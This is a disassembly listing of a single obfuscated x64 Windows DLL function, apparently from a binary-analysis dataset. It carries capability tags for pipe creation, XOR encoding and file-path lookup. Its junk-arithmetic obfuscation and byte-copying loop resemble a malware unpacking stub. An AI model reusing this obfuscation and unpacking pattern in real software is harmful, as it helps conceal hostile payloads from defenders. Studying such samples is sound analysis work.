Function at 0x1800015c0
Capabilities:
Create pipe
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
lea r13, [0x180269010]
mov eax, 0x2e16
mov r14d, 0xfffffcc8
mov dword [rbp - 0x1c], eax
mov esi, 0x550
mov dword [rbp - 0x18], eax
mov dword [rbp - 0xc], 0x2ade
lea edi, [rbx + 1]
mov dword [rbp - 0x10], 0x2ea5
mov dword [rbp - 0x14], 0x3084
mov dword [rbp - 0x20], ebx
add dword [rbp - 0xc], 0xfffffe89
mov rax, qword [section..data]
mov dword [0x180269018], 0xa
mov dword [0x180269024], ebx
mov dword [0x18026902c], edi
mov dword [0x180269034], ebx
mov dword [0x180269048], edi
mov dword [0x18026905c], edi
mov dword [rax + 0x64], 0x57
mov dword [0x18026907c], edi
mov dword [0x1802690a4], ebx
mov qword [0x1802690a8], 0xe
mov dword [0x1802690c8], ebx
mov dword [0x1802690e0], edi
mov dword [0x1802690e8], edi
mov qword [0x1802690fc], 8
mov dword [0x180269108], edi
mov dword [0x18026911c], 0xb
add dword [rbp - 0x18], 0xfffffe43
add dword [rbp - 0x1c], r14d
add dword [rbp - 0x1c], 0x488
add dword [rbp - 0x20], 0x2d36
mov rax, qword [section..data]
or dword [rax + 0x94], 0x1ac5a
add dword [rbp - 0x18], 0x30d
add dword [rbp - 0x14], 0xfffff6fa
add dword [rbp - 0x10], 0xfffff9c1
add dword [rbp - 0x10], 0x991
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
xor ecx, 0x711
cmp eax, ecx
jg 0x1800017f8
mov rcx, qword [section..data]
mov eax, dword [0x1802690ac]
cmp dword [rcx + 0x4c], eax
jbe 0x180001722
mov eax, dword [rcx + 0x10c]
mov ecx, dword [0x1802690fc]
xor eax, 0x15e9a2
imul ecx, eax
mov dword [0x1802690fc], ecx
jmp 0x18000172c
imul eax, dword [rcx + 0x1c], 0x1e4ce
mov dword [rcx + 0x1c], eax
mov eax, 0x818
mov rdx, r13
xor dword [rbp - 0x1c], eax
xor dword [rbp - 0x18], eax
add dword [rbp - 0x14], 0x698
mov ecx, dword [rbp - 0x18]
mov r8d, dword [rbp - 0x20]
add ecx, 0xe8
mov r9d, dword [rbp - 0x18]
sub r8d, 0x292
mov eax, dword [rbp - 0x18]
xor r9d, 0xdda
xor eax, 0x1689
mov dword [rsp + 0x20], eax
call fcn.18000a484
mov dword [rbp - 0x1c], eax
add dword [rbp - 0x10], 0xfffff23f
xor dword [rbp - 0x18], 0x968
mov edx, dword [0x1802690a4]
cmp edx, dword [0x1802690e0]
mov rcx, qword [section..data]
jb 0x1800017a2
mov eax, dword [0x180269020]
sub dword [rcx + 0x78], eax
jmp 0x1800017b3
mov eax, dword [rcx + 0x24]
xor eax, dword [rcx + 0xec]
xor eax, edx
mov dword [rcx + 0xec], eax
add dword [rbp - 0x1c], 0x372
xor dword [rbp - 0x1c], 0x1fe1
xor dword [rbp - 0x20], esi
add dword [rbp - 0x10], 0xc4e
add dword [rbp - 0x14], r14d
add dword [rbp - 0x14], 0xfffffd88
xor dword [rbp - 0x18], 0xd9a
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x1c]
cmp dword [rcx + 0x64], eax
ja 0x1800017f8
mov eax, dword [rcx + 0xcc]
mov dword [rcx + 0xc8], eax
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x14]
xor ecx, 0x176b
cmp eax, ecx
jl 0x180001f82
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0xc]
xor ecx, esi
cmp eax, ecx
jg 0x180001b16
mov edx, dword [rbp - 0x20]
mov r14d, 0x1c1
mov r8d, dword [rbp - 0x18]
xor edx, 0x1991
mov r9d, dword [rbp - 0x14]
xor r8d, 0x7ba
mov r10d, dword [rbp - 0x10]
add r9d, r14d
mov ecx, dword [rbp - 0x20]
sub r10d, 0x1df
mov eax, dword [rbp - 0xc]
xor ecx, 0xc50
xor eax, 0x1890
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov rcx, r13
mov dword [rsp + 0x20], r10d
call fcn.180009c14
mov dword [rbp - 0x10], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xb8]
mov eax, dword [rbp - 0x1c]
xor ecx, dword [0x180269074]
xor ecx, 0xe9cb1
sub dword [0x180269064], ecx
mov dword [rbp - 0x1c], eax
lea rax, [0x18002bb10]
add dword [rbp - 0x1c], 0xfffff195
add dword [rbp - 0x14], r14d
xor dword [rbp - 0x14], 0x1aa3
cmp dword [0x180269024], 0x6cc8
cmove rax, qword [0x1802690b8]
mov qword [0x1802690b8], rax
xor dword [rbp - 0x20], esi
add dword [rbp - 0x14], 0xfffff618
xor dword [rbp - 0x20], 0xf73
add dword [rbp - 0x1c], 0x4da
mov r8, qword [section..data]
mov eax, dword [0x1802690e8]
add eax, 0xffecde42
mov edx, dword [r8 + 0x24]
add edx, dword [0x1802690ac]
add edx, eax
mov rax, qword [0x1802690b8]
mov dword [0x1802690e8], edx
mov ecx, dword [r8 + 0x94]
sub ecx, dword [r8 + 0x14]
add ecx, 0x17db37
add ecx, edx
mov dword [0x1802690e8], ecx
mov r9d, dword [rbx + rax]
mov eax, 0xffff39e5
sub eax, dword [0x1802690a4]
add rbx, 4
add ecx, eax
mov dword [0x1802690e8], ecx
mov eax, dword [r8 + 0x9c]
sub eax, dword [r8 + 0x1c]
xor eax, 0x1a6f0c
sub dword [0x180269100], eax
mov eax, dword [r8 + 0xb8]
sub eax, dword [0x180269018]
imul r9d, dword [r8 + 0x54]
xor eax, 0xe91cb
sub dword [r8 + 0x6c], eax
mov rax, qword [section..data]
movsxd rdx, dword [0x180269084]
mov dword [0x18026905c], 0x2d5f4fcb
mov r8d, r9d
mov rcx, qword [rax + 0xb0]
shr r8d, 8
mov byte [rdx + rcx], r8b
mov eax, dword [0x180269084]
add eax, edi
mov dword [0x180269084], eax
movsxd rdx, eax
mov rax, qword [section..data]
mov rcx, qword [rax + 0xb0]
mov eax, 0x18c85d
mov byte [rdx + rcx], r9b
sub eax, dword [0x1802690fc]
mov edx, dword [0x180269018]
mov ecx, dword [0x180269100]
add edx, eax
add dword [0x180269084], edi
mov r8d, dword [0x1802690a8]
mov dword [0x180269018], edx
lea eax, [r8 - 0x17437c]
sub r8d, edx
add eax, edx
xor r8d, 0x174368
imul ecx, eax
mov dword [0x180269100], ecx
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xf0]
imul eax, r8d
mov dword [rcx + 0xf0], eax
mov eax, 0x174373
sub eax, dword [0x1802690a8]
mov rcx, qword [section..data]
add dword [rcx + 0xec], eax
mov rdx, qword [section..data]
mov eax, dword [0x1802690fc]
add eax, 0xffe737a4
mov ecx, dword [rdx + 0x64]
imul ecx, eax
mov dword [rdx + 0x64], ecx
cmp rbx, 0x2b848
jl 0x1800018e0
xor dword [rbp - 0xc], 0xffb
mov rax, qword [section..data]
mov ecx, dword [0x180269048]
add ecx, 0x8b51d9a
mov dword [rax + 0x54], ecx
mov ecx, dword [rbp - 0xc]
mov edx, dword [rbp - 0x18]
add ecx, 0x9e8
mov r8d, dword [rbp - 0x1c]
xor edx, 0x9ab
mov r9d, dword [rbp - 0x1c]
add r8d, 0x4d0
mov r10d, dword [rbp - 0x10]
xor r9d, 0x6c3
mov eax, dword [rbp - 0x1c]
sub r10d, 0x2cb
add eax, r14d
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r10d
call fcn.180009790
cmp dword [0x1802690a8], 0xfc2c
mov dword [rbp - 0x20], eax
jne 0x180001aea
mov eax, dword [0x1802690e8]
add eax, 0xffffab50
mov dword [0x1802690a8], eax
jmp 0x180001f82
mov rdx, qword [0x180269110]
lea r8, [0x18025d0a8]
mov ecx, dword [0x180269128]
call qword [0x180269090]
mov rcx, qword [section..data]
mov dword [rcx + 0xe4], eax
jmp 0x180001f82
mov eax, dword [rbp - 0x18]
mov ecx, dword [0x1802690f8]
sub ecx, eax
mov rax, qword [section..data]
mov edx, dword [rax + 0x60]
mov eax, edx
and eax, ecx
cmp dword [0x18026902c], eax
jne 0x180001f82
mov ecx, dword [rbp - 0x18]
mov r15d, 0x2aa4
mov r8d, dword [rbp - 0xc]
add ecx, 0xffffdbca
mov rax, qword [section..data]
add ecx, edx
mov edx, dword [rbp - 0x18]
mov dword [rax + 0x60], ecx
mov rax, qword [section..data]
or r8d, dword [0x18026902c]
mov ecx, dword [rax + 0xf8]
or ecx, dword [rax + 0xc]
mov rax, qword [section..data]
or ecx, r15d
mov r9d, dword [rax + 0xd4]
xor edx, dword [rax + 8]
mov eax, dword [rbp - 0x18]
or r9d, dword [0x1802690a0]
and eax, edx
xor r9d, dword [0x180269034]
mov rdx, r13
mov dword [rsp + 0x20], eax
call fcn.18000a280
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x20]
imul eax, dword [0x1802690a8]
xor dword [rbp - 0x20], eax
mov edx, dword [rbp - 0x20]
mov ebx, dword [rbp - 0x18]
mov rax, qword [section..data]
xor ebx, dword [0x1802690fc]
mov r10d, dword [rbp - 0xc]
mov r11d, dword [0x1802690e0]
mov ecx, dword [rax + 0xf4]
add r11d, 0xffffd2ca
mov eax, dword [rbp - 0x1c]
add edx, ecx
mov rcx, qword [section..data]
xor r10d, eax
imul ebx, dword [0x18026901c]
xor r10d, r15d
mov esi, dword [0x180269014]
mov r14d, dword [0x180269038]
mov r8d, dword [rcx + 0xb8]
mov r9d, dword [rcx + 0x98]
add r8d, dword [rcx + 0x2c]
mov ecx, esi
mov edi, dword [0x180269024]
or rcx, r14
or r9d, dword [0x1802690c8]
or rdx, rdi
mov dword [rsp + 0x30], r10d
sub r9d, 0x2866
mov qword [rsp + 0x28], r11
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, eax
xor ecx, dword [0x1802690e8]
mov eax, dword [0x180269024]
imul eax, ecx
mov ecx, dword [rbp - 0xc]
mov edx, dword [rbp - 0x14]
xor ecx, 0xfffff3f7
mov r8d, dword [rbp - 0x20]
and ecx, 0x2c59
add r8d, dword [0x18026911c]
mov dword [0x180269024], eax
mov rax, qword [section..data]
mov qword [rsp + 0x28], r13
add edx, dword [rax + 0xd0]
mov eax, dword [rbp - 0x20]
xor edx, 0x31f7
imul r9d, eax, 0x238c
mov eax, dword [rbp - 0x20]
sub r9d, eax
mov rax, qword [section..data]
mov r10d, dword [rax + 0xf8]
or r10d, dword [0x1802690ec]
mov dword [rsp + 0x20], r10d
call fcn.18000aa78
mov rdx, qword [section..data]
mov ebx, 0x2f66
mov ecx, dword [0x18026904c]
xor ecx, dword [0x180269108]
mov dword [rbp - 0x14], eax
or ecx, ebx
mov eax, dword [rdx + 0x14]
mov r9d, dword [rbp - 0x14]
imul eax, ecx
mov dword [rdx + 0x14], eax
mov rdx, r13
mov rax, qword [section..data]
mov r8d, dword [0x180269108]
xor r9d, dword [0x18026902c]
xor r8d, dword [0x18026902c]
mov ecx, dword [rax + 0x10c]
mov eax, dword [rbp - 0x10]
sub ecx, r15d
or eax, dword [0x18026902c]
or r9d, dword [0x18026902c]
mov dword [rsp + 0x20], eax
call fcn.18000a038
mov dword [rbp - 0x1c], eax
mov r10d, dword [rbp - 0xc]
mov r8d, dword [rbp - 0x20]
mov r9d, dword [rbp - 0x10]
mov rax, qword [section..data]
or r9d, dword [0x1802690a0]
xor r8d, dword [0x18026909c]
or r8d, dword [0x1802690e8]
mov ecx, dword [rax + 0x98]
mov rax, qword [section..data]
xor rcx, r10
mov edx, dword [rax + 0xf8]
or edx, dword [rax + 0xd0]
mov eax, dword [rbp - 0x1c]
sub r9d, eax
mov eax, dword [rbp - 0x1c]
or eax, 0x2e16
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_LockFile]
mov rax, qword [section..data]
mov ecx, dword [rax + 0xa0]
mov eax, dword [rbp - 0x10]
or ecx, r15d
mov r8d, dword [rbp - 0xc]
add ecx, 0x269c
mov edx, dword [0x1802690b0]
xor r8, rax
or rdx, r8
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [rbp - 0x14]
mov r8d, dword [rbp - 0xc]
mov rax, qword [section..data]
mov ecx, dword [rax + 4]
mov eax, dword [0x180269058]
xor eax, dword [0x1802690b0]
add ecx, dword [0x1802690a0]
or edx, eax
mov eax, dword [rbp - 0xc]
or r8d, eax
mov r9d, dword [rbp - 0x18]
mov rax, qword [section..data]
mov r10d, dword [rbp - 0xc]
xor r9d, dword [rax + 0x38]
mov eax, dword [rbp - 0x18]
xor r9d, ebx
or r10d, eax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_LockFile]
mov edx, 0x3003
lea ecx, [rbx + 0x1d]
mov r8d, 0x101f
call fcn.1800088a4
mov ecx, dword [rbp - 0xc]
add ecx, dword [0x180269078]
mov edx, dword [0x180269074]
or edx, dword [0x180269024]
mov dword [0x1804170f8], eax
mov rax, qword [section..data]
mov r8d, dword [rbp - 0x18]
mov r9, r13
xor edx, dword [rax + 0xd0]
mov rax, qword [section..data]
or r8d, dword [0x180269104]
mov r11d, dword [rax + 0xb8]
mov r10d, dword [rax + 0xd0]
add r10d, r11d
or r11d, 0x2ade
or r10d, dword [0x1802690f0]
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], r10d
call fcn.180004478
mov dword [rbp - 0x18], eax
mov r15d, 0x2a27
mov ecx, dword [rbp - 0x20]
mov rax, qword [section..data]
mov r8d, dword [0x1802690e0]
add ecx, r8d
mov esi, dword [rax + 0x2c]
mov eax, dword [rbp - 0x20]
or esi, r8d
mov r9d, dword [rbp - 0x14]
add eax, 0xffffd699
mov edi, dword [rbp - 0x14]
or r9d, eax
mov edx, dword [rbp - 0x20]
xor edi, 0x2866
mov eax, dword [rbp - 0x1c]
add edx, eax
mov ebx, dword [rbp - 0x14]
mov r11d, dword [rbp - 0x18]
and ebx, edx
imul r11d, dword [0x18026902c]
mov edx, esi
xor r8d, dword [0x1802690a8]
mov r10d, dword [0x180269100]
mov eax, dword [0x1802690a8]
imul r8d, dword [0x1802690c8]
xor r10, rax
mov qword [rsp + 0x38], r10
and r11d, r15d
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
imul ecx, eax
movsxd rdx, ecx
movsxd rcx, dword [rbp - 0x18]
xor rcx, rdx
call qword [sym.imp.KERNEL32.dll_HeapLock]
mov ecx, dword [rbp - 0xc]
mov rax, qword [section..data]
add ecx, 0xffffdbca
mov dword [rax + 0x14], ecx
mov ecx, dword [rbp - 0x20]
mov rax, qword [section..data]
or ecx, dword [rax + 4]
add dword [rbp - 0x10], ecx
mov rax, qword [section..data]
mov ecx, dword [rax + 0x38]
mov eax, dword [rbp - 0x10]
sub ecx, r15d
add eax, ecx
mov ecx, dword [0x1802690c8]
imul ecx, eax
mov dword [0x1802690c8], ecx
mov eax, dword [0x1802690f4]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret